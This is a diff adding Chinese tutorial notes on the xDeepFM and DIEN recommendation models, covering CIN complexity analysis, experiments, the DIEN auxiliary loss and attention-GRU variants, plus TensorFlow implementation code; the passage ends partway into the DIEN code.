+假设CIN和DNN每层神经元个数是$H$，网络深度为$T$。 那么CIN的参数空间复杂度$O(mTH^2)$。 这个我们先捋捋是怎么算的哈， 首先对于CIN，第$k$层的每个神经元都会对应着一个$H_{k-1}\times m$的参数矩阵$\mathbf{W}^{k,h}$， 那么第$k$层$H$个神经元的话，那就是$H \times H_{k-1} \times m$个参数，这里假设的是每层都有$H$个神经元，那么就是$O(H^2\times m)$，这是一层。 而网络深度一共$T$层的话，那就是$H \times H_{k-1} \times m\times T$的规模。 但别忘了，输出层还有参数， 由于输出层的参数会和输出向量的维度相对应，而输出向量的维度又和每一层神经单元个数相对应， 所以CIN的网络参数一共是$\sum_{k=1}^{T} H_{k} \times\left(1+H_{k-1} \times m\right)$， 而换成大O表示的话，其实就是上面那个了。当然，CIN还可以对$\mathbf{W}$进行$L$阶矩阵分解，使得空间复杂度再降低。 <br><br>再看DNN，第一层是$m\times D\times H_1$， 中间层$H_k\times H_{k-1}$，T-1层，这是一个$O(mDH+TH^2)$的空间复杂度，并且参数量会随着$D$的增加而增加。 <br><br>所以空间上来说，CIN会有优势。
+2. 时间复杂度
+对于CIN， 我们计算某一层的某个特征向量的时候，需要前面的$H_{k-1}$个向量与输入的$m$个向量两两哈达玛积的操作，这个过程花费的时间$O(Hm)$， 而哈达玛积完事之后，有需要拿个过滤器在D维度上逐通道卷积，这时候得到了$\mathbf{Z}^{k+1}$，花费时间$O(HmD)$。 这只是某个特征向量， $k$层一共$H$个向量， 那么花费时间$O(H^2mD)$， 而一共$T$层，所以最终时间为$O(mH^2TD)$<br><br>对于普通的DNN，花费时间$O(mHD+H^2T)$<br><br>**所以时间复杂度会是CIN的一大痛点**。
+
+#### 多项式逼近
+这地方没怎么看懂，大体写写吧， 通过对问题进行简化，即假设CIN中不同层的feature map的数量全部一致，均为fields的数量$m$，并且用`[m]`表示小于等于m的正整数。CIN中的第一层的第$h$个feature map表示为$x_h^1 \in \mathbb{R}^D$，即
+$$
+\boldsymbol{x}_{\boldsymbol{h}}^{1}=\sum_{i \in[m], j \in[m]} \boldsymbol{W}_{i, j}^{1, h}\left(x_{i}^{0} \circ x_{j}^{0}\right)
+$$
+因此， 在第一层中通过$O(m^2)$个参数来建模成对的特征交互关系，相似的，第二层的第$h$个特征图表示为:
+$$
+\begin{array}{c}
+\boldsymbol{x}_{h}^{2}=\sum_{i \in[m], j \in[m]} \boldsymbol{W}_{i, j}^{2, h}\left(x_{i}^{1} \circ x_{j}^{0}\right) \\
+=\sum_{i \in[m], j \in[m]] \in[m], k \in[m]} \boldsymbol{W}_{i, j}^{2, h} \boldsymbol{W}_{l, k}^{1, h}\left(x_{j}^{0} \circ x_{k}^{0} \circ x_{l}^{0}\right)
+\end{array}
+$$
+由于第二个$\mathbf{W}$矩阵在前面一层计算好了，所以第二层的feature map也是只用了$O(m^2)$个参数就建模出了3阶特征交互关系。
+
+我们知道一个经典的$k$阶多项式一般是需要$O(m^k)$个参数的，而我们展示了CIN在一系列feature map中只需要$O(k m^2)$个参数就可以近似此类多项式。而且paper使用了归纳假设的方法证明了一下，也就是后面那两个公式。具体的没咋看懂证明，不整理了。但得知道两个结论:
+1. 对于CIN来讲， 第$k$层只包含$k+1$阶特征间的显性特征交互
+2. CIN的一系列特征图只需要$O(km^2)$个参数就可以近似此类多项式
+
+#### xDeepFM与其他模型的关系
+1. 对于xDeepFM，将CIN模块的层数设置为1，feature map数量也为1时，其实就是DeepFM的结构，因此DeepFM是xDeepFM的特殊形式，而xDeepFM是DeepFM的一般形式；
+2. 在1中的基础上，当我们再将xDeepFM中的DNN去除，并对feature map使用一个常数1形式的 `sum filter`，那么xDeepFM就退化成了FM形式了。
+
+一般这种模型的改进，是基于之前模型进行的，也就是简化之后，会得到原来的模型，这样最差的结果，模型效果还是原来的，而不应该会比原来模型的表现差，这样的改进才更有说服力。
+
+所以，既然提到了FM，再考虑下面两个问题理解下CIN设计的合理性。
+1. 每层通过sum pooling对vector的元素加和输出，这么做的意义或者合理性?  这个就是为了退化成FM做准备，如果CIN只有1层， 只有$m$个vector，即 $H_1=m$ ，且加和的权重矩阵恒等于1，即$W^1=1$ ，那么sum pooling的输出结果，就是一系列的两两向量内积之和，即标准的FM（不考虑一阶与偏置）。
+2. 除了第一层，中间层的基于Vector高阶组合有什么物理意义? 回顾FM，虽然是二阶的，但可以扩展到多阶，例如考虑三阶FM，是对三个嵌入向量做哈达玛积乘再对得到的vector做sum， CIN基于vector-wise的高阶组合再sum pooling与之类似，这也是模型名字"eXtreme Deep Factorization Machine(xDeepFM)"的由来。
+### 论文的其他重要细节
+#### 实验部分
+这一块就是后面实验了，这里作者依然是抛出了三个问题，并通过实验进行了解答。
+1. CIN如何学习高阶特征交互
+	通过提出的交叉网络，这里单独证明了这个结构要比CrossNet，DNN模块和FM模块要好
+2. 推荐系统中，是否需要显性和隐性的高阶特征交互都存在?
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/2021050609553410.png#pic_center" alt="image-20210308142624189" style="zoom: 60%;" /> 
+</div>
+
+3. 超参对于xDeepFM的影响
+	1. 网络的深度: 不用太深， CIN网络层数大于3，就不太好了，容易过拟合
+	2. 每一层神经网络的单元数: 100是比较合适的一个数值
+	3. 激活函数: CIN这里不用加任何的非线性激活函数，用恒等函数$f(x)=x$效果最好
+
+
+这里用了三个数据集
+1. 公开数据集 Criteo 与 微软数据集 BingNews
+2. DianPing 从大众点评网整理的相关数据，收集6个月的user check-in 餐厅poi的记录，从check-in餐厅周围3km内，按照poi受欢迎度抽取餐厅poi作为负例。根据user属性、poi属性，以及user之前3家check-in的poi，预测用户check-in一家给定poi的概率。
+
+评估指标用了两个AUC和Logloss, 这两个是从不同的角度去评估模型。
+1. AUC: AUC度量一个正的实例比一个随机选择的负的实例排名更高的概率。它只考虑预测实例的顺序，对类的不平衡问题不敏感.
+2. LogLoss(交叉熵损失): 真实分数与预测分数的距离
+
+作者说:
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/2021050609492960.png#pic_center" alt="image-20210308142624189" style="zoom: 60%;" /> 
+</div>
+
+#### 相关工作部分
+这里作者又梳理了之前的模型，这里就再梳理一遍了
+
+1. 经典推荐系统
+	1. 非因子分解模型: 主要介绍了两类，一类是常见的线性模型，例如LR with FTRL，这一块很多工作是在交互特征的特征工程方面；另一类是提升决策树模型的研究（GBDT+LR)
+	2. 因子分解模型: MF模型， FM模型，以及在FM模型基础上的贝叶斯模型
+
+2. 深度学习模型
+	1. 学习高阶交互特征:  论文中提到的DeepCross, FNN，PNN，DCN, NFM, W&D, DeepFM, 
+	2. 学习精心的表征学习:这块常见的深度学习模型不是focus在学习高阶特征交互关系。比如NCF，ACF，DIN等。
+
+ 推荐系统数据特点: 稀疏，类别连续特征混合，高维。
+
+关于未来两个方向:
+1. CIN的sum pooling这里， 后面可以考虑DIN的那种思路，根据当前候选商品与embedding的关联进行注意力权重的添加
+2. CIN的时间复杂度还是比较高的，后面在GPU集群上使用分布式的方式来训练模型。
+
+
+## xDeepFM模型的代码复现及重要结构解释
+### xDeepFM的整体代码逻辑
+下面看下xDeepFM模型的具体实现， 这样可以从更细节的角度去了解这个模型， 这里我依然是参考的deepctr的代码风格，这种函数式模型编程更清晰一些，当然由于时间原因，我这里目前只完成了一个tf2版本的(pytorch版本的后面有时间会补上)。 这里先看下xDeepFM的全貌:
+
+```python
+def xDeepFM(linear_feature_columns, dnn_feature_columns, cin_size=[128, 128]):
+    # 构建输入层，即所有特征对应的Input()层，这里使用字典的形式返回，方便后续构建模型
+    dense_input_dict, sparse_input_dict = build_input_layers(linear_feature_columns+dnn_feature_columns)
+    
+    # 构建模型的输入层，模型的输入层不能是字典的形式，应该将字典的形式转换成列表的形式
+    # 注意：这里实际的输入预Input层对应，是通过模型输入时候的字典数据的key与对应name的Input层
+    input_layers = list(dense_input_dict.values()) + list(sparse_input_dict.values())
+    
+    # 线性部分的计算逻辑 -- linear
+    linear_logits = get_linear_logits(dense_input_dict, sparse_input_dict, linear_feature_columns)
+    
+    # 构建维度为k的embedding层，这里使用字典的形式返回，方便后面搭建模型
+    # 线性层和dnn层统一的embedding层
+    embedding_layer_dict = build_embedding_layers(linear_feature_columns+dnn_feature_columns, sparse_input_dict, is_linear=False)
+    
+    # DNN侧的计算逻辑 -- Deep
+    # 将dnn_feature_columns里面的连续特征筛选出来，并把相应的Input层拼接到一块
+    dnn_dense_feature_columns = list(filter(lambda x: isinstance(x, DenseFeat), dnn_feature_columns)) if dnn_feature_columns else []
+    dnn_dense_feature_columns = [fc.name for fc in dnn_dense_feature_columns]
+    dnn_concat_dense_inputs = Concatenate(axis=1)([dense_input_dict[col] for col in dnn_dense_feature_columns])
+    
+    # 将dnn_feature_columns里面的离散特征筛选出来，相应的embedding层拼接到一块
+    dnn_sparse_kd_embed = concat_embedding_list(dnn_feature_columns, sparse_input_dict, embedding_layer_dict, flatten=True)
+    dnn_concat_sparse_kd_embed = Concatenate(axis=1)(dnn_sparse_kd_embed)
+    
+    # DNN层的输入和输出
+    dnn_input = Concatenate(axis=1)([dnn_concat_dense_inputs, dnn_concat_sparse_kd_embed])
+    dnn_out = get_dnn_output(dnn_input)
+    dnn_logits = Dense(1)(dnn_out)
+    
+    # CIN侧的计算逻辑， 这里使用的DNN feature里面的sparse部分,这里不要flatten
+    exFM_sparse_kd_embed = concat_embedding_list(dnn_feature_columns, sparse_input_dict, embedding_layer_dict, flatten=False)
+    exFM_input = Concatenate(axis=1)(exFM_sparse_kd_embed)
+    exFM_out = CIN(cin_size=cin_size)(exFM_input)
+    exFM_logits = Dense(1)(exFM_out)
+    
+    # 三边的结果stack
+    stack_output = Add()([linear_logits, dnn_logits, exFM_logits])
+    
+    # 输出层
+    output_layer = Dense(1, activation='sigmoid')(stack_output)
+    
+    model = Model(input_layers, output_layer)
+    
+    return model
+```
+这种风格最好的一点，就是很容易从宏观上把握模型的整体逻辑。 首先，接收的输入是linear_feature_columns和dnn_feature_columns， 这两个是深度和宽度两侧的特征，具体选取要结合着场景来。 接下来，就是为这些特征建立相应的Input层，这里要分成连续特征和离散的特征，因为后面的处理方式不同， 连续特征的话可以直接拼了， 而离散特征的话，需要过一个embedding层转成低维稠密，这就是第一行代码干的事情了。
+
+接下来， 计算线性部分，从上面xDeepFM的结构里面可以看出， 是分三路走的，线性，CIN和DNN路， 所以`get_linear_logits`就是线性这部分的计算结果，完成的是$w_1x_1+w_2x_2..w_kx_k+b$， 这里面依然是连续和离散的不太一样，对于连续特征，直接过一个全连接就实现了这个操作，而离散特征，这里依然过一个embedding，不过这个维度是1，目的是转成了一个连续数值(这个相当于离散特征对应的w值)，这样后面进行总的加和操作即可。
+
+接下来是另外两路，DNN这路也比较简单， dnn_feature_columns里面的离散特征过embedding，和连续特征拼接起来，然后过DNN即可。 CIN这路使用的是dnn_feature_columns里面的离散embedding特征，进行显性高阶交叉，这里的输入是`[None, field_num, embedding_dim]`的维度。这个也好理解，每个特征embedding之后，拼起来即可，注意`flatten=False`了。 这个输入，过CIN网络得到输出。
+
+这样三路输出都得到，然后进行了一个加和，再连接一个Dense映射到最终输出。这就是整体的逻辑了，关于每个部分的具体细节，可以看代码。 下面主要是看看CIN这个网络是怎么实现的，因为其他的在之前的模型里面也基本是类似的操作，比如前面DIEN，DSIN版本，并且我后面项目里面补充了DCN的deepctr风格版，这个和那个超级像，唯一不同的就是把CrossNet换成了CIN，所以这个如果感觉看不大懂，可以先看那个网络代码。下面说CIN。
+### CIN网络的代码实现细节
+再具体代码实现， 我们先简单捋一下CIN网络的实现过程，这里的输入是`[None, field_num embed_dim]`的维度，在CIN里面，我们知道接下来的话，就是每一层会有$H_k$个神经元， 而每个神经元的计算要根据上面的那个计算公式，也就是$X_0$要和前面一层的输出两两embedding，加权求和再求和的方式。 而从CNN的角度来看，这个过程可以是这样，对于每一层的计算，先$X_0$和$X_k$进行外积运算(相当于两两embedding)，然后采用$H_k$个过滤器对前面的结果逐通道卷积就能得到每一层的$X_k$了。 最后的输出是每一层的$X_k$拼接起来，然后在embedding维度上的求和。 所以依据这个思路，就能得到下面的实现代码:
+
+```python
+class CIN(Layer):
+    def __init__(self, cin_size, l2_reg=1e-4):
+        """
+        :param: cin_size: A list. [H_1, H_2, ....H_T], a list of number of layers
+        """
+        super(CIN, self).__init__()
+        self.cin_size = cin_size
+        self.l2_reg = l2_reg
+    
+    def build(self, input_shape):
+        # input_shape  [None, field_nums, embedding_dim]
+        self.field_nums = input_shape[1]
+        
+        # CIN 的每一层大小，这里加入第0层，也就是输入层H_0
+        self.field_nums = [self.field_nums] + self.cin_size
+        
+        # 过滤器
+        self.cin_W = {
+            'CIN_W_' + str(i): self.add_weight(
+                name='CIN_W_' + str(i),
+                shape = (1, self.field_nums[0] * self.field_nums[i], self.field_nums[i+1]), # 这个大小要理解
+                initializer='random_uniform',
+                regularizer=l2(self.l2_reg),
+                trainable=True
+            )
+            for i in range(len(self.field_nums)-1)
+        }
+        
+        super(CIN, self).build(input_shape)
+        
+    def call(self, inputs):
+        # inputs [None, field_num, embed_dim]
+        embed_dim = inputs.shape[-1]
+        hidden_layers_results = [inputs]
+        
+        # 从embedding的维度把张量一个个的切开,这个为了后面逐通道进行卷积，算起来好算
+        # 这个结果是个list， list长度是embed_dim, 每个元素维度是[None, field_nums[0], 1]  field_nums[0]即输入的特征个数
+        # 即把输入的[None, field_num, embed_dim]，切成了embed_dim个[None, field_nums[0], 1]的张量
+        split_X_0 = tf.split(hidden_layers_results[0], embed_dim, 2) 
+        
+        for idx, size in enumerate(self.cin_size):
+            # 这个操作和上面是同理的，也是为了逐通道卷积的时候更加方便，分割的是当一层的输入Xk-1
+            split_X_K = tf.split(hidden_layers_results[-1], embed_dim, 2)   # embed_dim个[None, field_nums[i], 1] feild_nums[i] 当前隐藏层单元数量
+            
+            # 外积的运算
+            out_product_res_m = tf.matmul(split_X_0, split_X_K, transpose_b=True) # [embed_dim, None, field_nums[0], field_nums[i]]
+            out_product_res_o = tf.reshape(out_product_res_m, shape=[embed_dim, -1, self.field_nums[0]*self.field_nums[idx]]) # 后两维合并起来
+            out_product_res = tf.transpose(out_product_res_o, perm=[1, 0, 2])  # [None, dim, field_nums[0]*field_nums[i]]
+            
+            # 卷积运算
+            # 这个理解的时候每个样本相当于1张通道为1的照片 dim为宽度， field_nums[0]*field_nums[i]为长度
+            # 这时候的卷积核大小是field_nums[0]*field_nums[i]的, 这样一个卷积核的卷积操作相当于在dim上进行滑动，每一次滑动会得到一个数
+            # 这样一个卷积核之后，会得到dim个数，即得到了[None, dim, 1]的张量， 这个即当前层某个神经元的输出
+            # 当前层一共有field_nums[i+1]个神经元， 也就是field_nums[i+1]个卷积核，最终的这个输出维度[None, dim, field_nums[i+1]]
+            cur_layer_out = tf.nn.conv1d(input=out_product_res, filters=self.cin_W['CIN_W_'+str(idx)], stride=1, padding='VALID')
+            
+            cur_layer_out = tf.transpose(cur_layer_out, perm=[0, 2, 1])  # [None, field_num[i+1], dim]
+            
+            hidden_layers_results.append(cur_layer_out)
+        
+        # 最后CIN的结果，要取每个中间层的输出，这里不要第0层的了
+        final_result = hidden_layers_results[1:]     # 这个的维度T个[None, field_num[i], dim]  T 是CIN的网络层数
+        
+        # 接下来在第一维度上拼起来  
+        result = tf.concat(final_result, axis=1)  # [None, H1+H2+...HT, dim]
+        # 接下来， dim维度上加和，并把第三个维度1干掉
+        result = tf.reduce_sum(result, axis=-1, keepdims=False)  # [None, H1+H2+..HT]
+        
+        return result
+```
+这里主要是解释四点：
+1. 每一层的W的维度，是一个`[1, self.field_nums[0]*self.field_nums[i], self.field_nums[i+1]`的，首先，得明白这个`self.field_nums`存储的是每一层的神经单元个数，这里包括了输入层，也就是第0层。那么每一层的每个神经元计算都会有一个$W^{k,h}$， 这个的大小是$[H_{k-1},m]$维的，而第$K$层一共$H_k$个神经元，所以总的维度就是$[H_{k-1},m,H_k]$， 这和上面这个是一个意思，只不过前面扩展了维度1而已。
+2. 具体实现的时候，这里为了更方便计算，采用了切片的思路，也就是从embedding的维度把张量切开，这样外积的计算就会变得更加的简单。
+3. 具体卷积运算的时候，这里采用的是Conv1d，1维卷积对应的是一张张高度为1的图片(理解的时候可这么理解)，输入维度是`[None, in_width, in_channels]`的形式，而对应这里的数据是`[None, dim, field_nums[0]*field_nums[i]]`, 而这里的过滤器大小是`[1, field_nums[0]*field_nums[i], field_nums[i+1]`, 这样进行卷积的话，最后一个维度是卷积核的数量。是沿着dim这个维度卷积，得到的是`[None, dim, field_nums[i+1]]`的张量，这个就是第$i+1$层的输出了。和我画的
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/20210505221222945.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="image-20210308142624189" style="zoom: 60%;" /> 
+</div>
+
+这个不同的是它把前面这个矩形Flatten了，得到了一个$[D,H_{k-1}\times m]$的二维矩阵，然后用$[1,H_{k-1}\times m]$的卷积核沿着D这个维度进行Conv1D， 这样就直接得到了一个D维向量， 而$H_k$个卷积核，就得到了$H_k\times D$的矩阵了。
+4. 每一层的输出$X_k$先加入到列表里面，然后在$H_i$的维度上拼接，再从$D$这个维度上求和，这样就得到了CIN的最终输出。
+
+关于CIN的代码细节解释到这里啦，剩下的可以看后面链接里面的代码了。
+
+## 总结
+这篇文章主要是介绍了又一个新的模型xDeepFM， 这个模型的改进焦点依然是特征之间的交互信息，xDeepFM的核心就是提出了一个新的CIN结构(这个是重点，面试的时候也喜欢问)，将基于Field的vecotr-wise思想引入到了Cross Network中，并保留了Cross高阶交互，自动叉乘，参数共享等优势，模型结构上保留了DeepFM的广深结构。主要有三大优势:
+1. CIN可以学习高效的学习有界的高阶特征；
+2. xDeepFM模型可以同时显示和隐式的学习高阶交互特征；
+3. 以vector-wise方式而不是bit-wise方式学习特征交互关系。
+
+如果说DeepFM只是“Deep & FM”，那么xDeepFm就真正做到了”Deep” Factorization Machine。当然，xDeepFM的时间复杂度比较高，会是工业落地的主要瓶颈，后面需要进行一些优化操作。 
+
+这篇论文整体上还是非常清晰的，实验做的也非常丰富，语言描述上也非常地道，建议读读原文呀。
+
+**参考**：
+* [xDeepFM原论文-建议读一下，这个真的超级不错](https://arxiv.org/abs/1803.05170)
+* [xDeepFM：名副其实的 ”Deep” Factorization Machine](https://zhuanlan.zhihu.com/p/57162373)
+* [深度CTR之xDeepFM：融合了显式和隐式特征交互关系的深度模型推荐系统](https://blog.csdn.net/oppo62258801/article/details/104236828)
+* [揭秘 Deep & Cross : 如何自动构造高阶交叉特征](https://zhuanlan.zhihu.com/p/55234968)
+* [一文读懂xDeepFM](https://zhuanlan.zhihu.com/p/110076629)
+* [推荐系统 - xDeepFM架构详解](https://blog.csdn.net/maqunfi/article/details/99664119)
+
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.4/DIEN.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.4/DIEN.md
new file mode 100644
index 0000000..f67d5b1
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.4/DIEN.md
@@ -0,0 +1,177 @@
+# DIEN
+## DIEN提出的动机
+在推荐场景，用户无需输入搜索关键词来表达意图，这种情况下捕捉用户兴趣并考虑兴趣的动态变化将是提升模型效果的关键。以Wide&Deep为代表的深度模型更多的是考虑不同field特征之间的相互作用，未关注用户兴趣。
+
+DIN模型考虑了用户兴趣，并且强调用户兴趣是多样的，该模型使用注意力机制来捕捉和**target item**的相关的兴趣，这样以来用户的兴趣就会随着目标商品自适应的改变。但是大多该类模型包括DIN在内，直接将用户的行为当做用户的兴趣(因为DIN模型只是在行为序列上做了简单的特征处理)，但是用户潜在兴趣一般很难直接通过用户的行为直接表示，大多模型都没有挖掘用户行为背后真实的兴趣，捕捉用户兴趣的动态变化对用户兴趣的表示非常重要。DIEN相比于之前的模型，即对用户的兴趣进行建模，又对建模出来的用户兴趣继续建模得到用户的兴趣变化过程。
+
+## DIEN模型原理
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20210218155901144.png" alt="image-20210218155901144" style="zoom:50%;" />
+</div>
+
+模型的输入可以分成两大部分，一部分是用户的行为序列(这部分会通过兴趣提取层及兴趣演化层转换成与用户当前兴趣相关的embedding)，另一部分就是除了用户行为以外的其他所有特征，如Target id, Coontext Feature, UserProfile Feature，这些特征都转化成embedding的类型然后concat在一起（形成一个大的embedding）作为非行为相关的特征(这里可能也会存在一些非id类特征，应该可以直接进行concat)。最后DNN输入的部分由行为序列embedding和非行为特征embedding（多个特征concat到一起之后形成的一个大的向量）组成，将两者concat之后输入到DNN中。
+
+所以DIEN模型的重点就是如何将用户的行为序列转换成与用户兴趣相关的向量，在DIN中是直接通过与target item计算序列中每个元素的注意力分数，然后加权求和得到最终的兴趣表示向量。在DIEN中使用了两层结构来建模用户兴趣相关的向量。
+
+### Interest Exterator Layer
+
+兴趣抽取层的输入原本是一个id序列(按照点击时间的先后顺序形成的一个序列)，通过Embedding层将其转化成一个embedding序列。然后使用GRU模块对兴趣进行抽取，GRU的输入是embedding层之后得到的embedding序列。对于GRU模块不是很了解的可以看一下[动手学深度学习中GRU相关的内容](https://zh.d2l.ai/chapter_recurrent-neural-networks/gru.html)
+
+作者并没有直接完全使用原始的GRU来提取用户的兴趣，而是引入了一个辅助函数来指导用户兴趣的提取。作者认为如果直接使用GRU提取用户的兴趣，只能得到用户行为之间的依赖关系，不能有效的表示用户的兴趣。因为是用户的兴趣导致了用户的点击，用户的最后一次点击与用户点击之前的兴趣相关性就很强，但是直接使用行为序列训练GRU的话，只有用户最后一次点击的物品(也就是label，在这里可以认为是Target Ad), 那么最多就是能够捕捉到用户最后一次点击时的兴趣，而最后一次的兴趣又和前面点击过的物品在兴趣上是相关的，而前面点击的物品中并没有target item进行监督。**所以作者提出的辅助损失就是为了让行为序列中的每一个时刻都有一个target item进行监督训练，也就是使用下一个行为来监督兴趣状态的学习**
+
+**辅助损失**
+首先需要明确的就是辅助损失是计算哪两个量的损失。计算的是用户每个时刻的兴趣表示（GRU每个时刻输出的隐藏状态形成的序列）与用户当前时刻实际点击的物品表示（输入的embedding序列）之间的损失，相当于是行为序列中的第t+1个物品与用户第t时刻的兴趣表示之间的损失**（为什么这里用户第t时刻的兴趣与第t+1时刻的真实点击做损失呢？我的理解是，只有知道了用户第t+1真实点击的商品，才能更好的确定用户第t时刻的兴趣）。**
+
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20210218163742638.png" alt="image-20210218163742638" style="zoom:50%;" />
+</div>
+
+当然，如果只计算用户点击物品与其点击前一次的兴趣之间的损失，只能认为是正样本之间的损失，那么用户第t时刻的兴趣其实还有很多其他的未点击的商品，这些未点击的商品就是负样本，负样本一般通过从用户点击序列中采样得到，这样一来辅助损失中就包含了用户某个时刻下的兴趣及与该时刻兴趣相关的正负物品。所以最终的损失函数表示如下。
+
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20210218162447125.png" alt="image-20210218162447125" style="zoom: 25%;" />
+</div>
+其中$h_t^i$表示的是用户$i$第$t$时刻的隐藏状态，可以表示用户第$t$时刻的兴趣向量，$e_b^i，\hat{e_b^i}$分别表示的是正负样本，$e_b^i[t+1]$表示的是用户$i$第$t+1$时刻点击的物品向量。
+
+辅助损失会加到最终的目标损失(ctr损失)中一起进行优化，并且通过$\alpha$参数来平衡点击率和兴趣的关系
+$$
+L = L_{target} + \alpha L_{aux}
+$$
+
+**引入辅助函数的函数有：**
+
+- 辅助loss可以帮助GRU的隐状态更好地表示用户兴趣。
+
+- RNN在长序列建模场景下梯度传播可能并不能很好的影响到序列开始部分，如果在序列的每个部分都引入一个辅助的监督信号，则可一定程度降低优化难度。
+
+- 辅助loss可以给embedding层的学习带来更多语义信息，学习到item对应的更好的embedding。
+
+### Interest Evolving Layer
+将用户的行为序列通过GRU+辅助损失建模之后，对用户行为序列中的兴趣进行了提取并表达成了向量的形式(GRU每个时刻输出的隐藏状态)。而用户的兴趣会因为外部环境或内部认知随着时间变化，特点如下：
+
+- **兴趣是多样化的，可能发生漂移**。兴趣漂移对行为的影响是用户可能在一段时间内对各种书籍感兴趣，而在另一段时间却需要衣服
+
+- 虽然兴趣可能会相互影响，但是**每一种兴趣都有自己的发展过程**，例如书和衣服的发展过程几乎是独立的。**而我们只关注与target item相关的演进过程。**
+
+由于用户的兴趣是多样的，但是用户的每一种兴趣都有自己的发展过程，即使兴趣发生漂移我们可以只考虑用户与target item(广告或者商品)相关的兴趣演化过程，这样就不用考虑用户多样化的兴趣的问题了，而如何只获取与target item相关的信息，作者使用了与DIN模型中提取与target item相同的方法，来计算用户历史兴趣与target item之间的相似度，即这里也使用了DIN中介绍的局部激活单元(就是下图中的Attention模块)。
+
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20210218180755462.png" alt="image-20210218180755462" style="zoom:70%;" />
+</div>
+
+当得到了用户历史兴趣序列及兴趣序列与target item之间的相关性(注意力分数)之后，就需要再次对注意力序列进行建模得到用户注意力的演化过程，进一步表示用户最终的兴趣向量。此时的序列数据等同于有了一个序列及序列中每个向量的注意力权重，下面就是考虑如何使用这个注意力权重来一起优化序列建模的结果了。作者提出了三种注意力结合的GRU模型快：
+
+1. **AIGRU:** 将注意力分数直接与输入的序列进行相乘，也就是权重越大的向量对应的值也越大, 其中$i_t^{'}, h_t, a_t$分别表示用户$i$在兴趣演化过程使用的GRU的第t时刻的输入，$h_t$表示的是兴趣抽取层第t时刻的输出，$a_t$表示的是$h_t$的注意力分数，这种方式的弊端是即使是零输入也会改变GRU的隐藏状态，所以相对较少的兴趣值也会影响兴趣的学习进化(根据GRU门的更新公式就可以知道，下一个隐藏状态的计算会用到上一个隐藏状态的信息，所以即使当前输入为0，最终隐藏状态也不会直接等于0，所以即使兴趣较少，也会影响到最终兴趣的演化)。
+   $$
+   i_t^{'} = h_t * a_t
+   $$
+
+2.  **AGRU:** 将注意力分数直接作为GRU模块中，更新门的值，则重置门对应的值表示为$1-a_t$, 所以最终隐藏状态的更新公式表示为：其中$\hat{h_t^{'}}$表示的是候选隐藏状态。但是这种方式的弊端是弱化了兴趣之间的相关性，因为最终兴趣的更新前后是没关系的，只取决于输入的注意力分数
+   $$
+   h_t^{'} = (1-a_t)h_{t-1}^{'} + a_t * \tilde{h_t^{'}}
+   $$
+
+3. **AUGRU:** 将注意力分数作为更新门的权重，这样既兼顾了注意力分数很低时的状态更新值，也利用了兴趣之间的相关性，最终的表达式如下：
+   $$
+   \begin{align}
+   & \tilde{u_t^{'}} = a_t * u_t \\
+   & h_t^{'} = (1-\tilde{u_t^{'}})h_{t-1}^{'} + \tilde{u_t^{'}} * \tilde{h_t^{'}}
+   \end{align}
+   $$
+
+**建模兴趣演化过程的好处：**
+- 追踪用户的interest可以使我们学习final interest的表达时包含更多的历史信息
+- 可以根据interest的变化趋势更好地进行CTR预测
+
+## 代码实现
+下面我们看下DIN的代码复现，这里主要是给大家说一下这个模型的设计逻辑，参考了deepctr的函数API的编程风格， 具体的代码以及示例大家可以去参考后面的GitHub，里面已经给出了详细的注释， 这里主要分析模型的逻辑这块。关于函数API的编程式风格，我们还给出了一份文档， 大家可以先看这个，再看后面的代码部分，会更加舒服些。下面开始：
+
+这里主要和大家说一下DIN模型的总体运行逻辑，这样可以让大家从宏观的层面去把握模型的编写过程。该模型所使用的数据集是movielens数据集， 具体介绍可以参考后面的GitHub。 因为上面反复强调了DIN的应用场景，需要基于用户的历史行为数据， 所以在这个数据集中会有用户过去对电影评分的一系列行为。这在之前的数据集中往往是看不到的。 大家可以导入数据之后自行查看这种行为特征(hist_behavior)。另外还有一点需要说明的是这种历史行为是序列性质的特征， 并且**不同的用户这种历史行为特征长度会不一样**， 但是我们的神经网络是要求序列等长的，所以这种情况我们一般会按照最长的序列进行padding的操作(不够长的填0)， 而到具体层上进行运算的时候，会用mask掩码的方式标记出这些填充的位置，好保证计算的准确性。 在我们给出的代码中，大家会在AttentionPoolingLayer层的前向传播中看到这种操作。下面开始说编写逻辑：
+
+首先， DIN模型的输入特征大致上分为了三类： Dense(连续型), Sparse(离散型),  VarlenSparse(变长离散型)，也就是指的上面的历史行为数据。而不同的类型特征也就决定了后面处理的方式会不同：
+
+* Dense型特征：由于是数值型了，这里为每个这样的特征建立Input层接收这种输入， 然后拼接起来先放着，等离散的那边处理好之后，和离散的拼接起来进DNN
+* Sparse型特征，为离散型特征建立Input层接收输入，然后需要先通过embedding层转成低维稠密向量，然后拼接起来放着，等变长离散那边处理好之后， 一块拼起来进DNN， 但是这里面要注意有个特征的embedding向量还得拿出来用，就是候选商品的embedding向量，这个还得和后面的计算相关性，对历史行为序列加权。
+* VarlenSparse型特征：这个一般指的用户的历史行为特征，变长数据， 首先会进行padding操作成等长， 然后建立Input层接收输入，然后通过embedding层得到各自历史行为的embedding向量， 拿着这些向量与上面的候选商品embedding向量进入AttentionPoolingLayer去对这些历史行为特征加权合并，最后得到输出。
+
+通过上面的三种处理， 就得到了处理好的连续特征，离散特征和变长离散特征， 接下来把这三种特征拼接，进DNN网络，得到最后的输出结果即可。所以有了这个解释， 就可以放DIN模型的代码全貌了，大家可以感受下我上面解释的：
+
+```python
+def DIEN(feature_columns, behavior_feature_list, behavior_seq_feature_list, neg_seq_feature_list, use_neg_sample=False, alpha=1.0):
+    # 构建输入层
+    input_layer_dict = build_input_layers(feature_columns)
+    
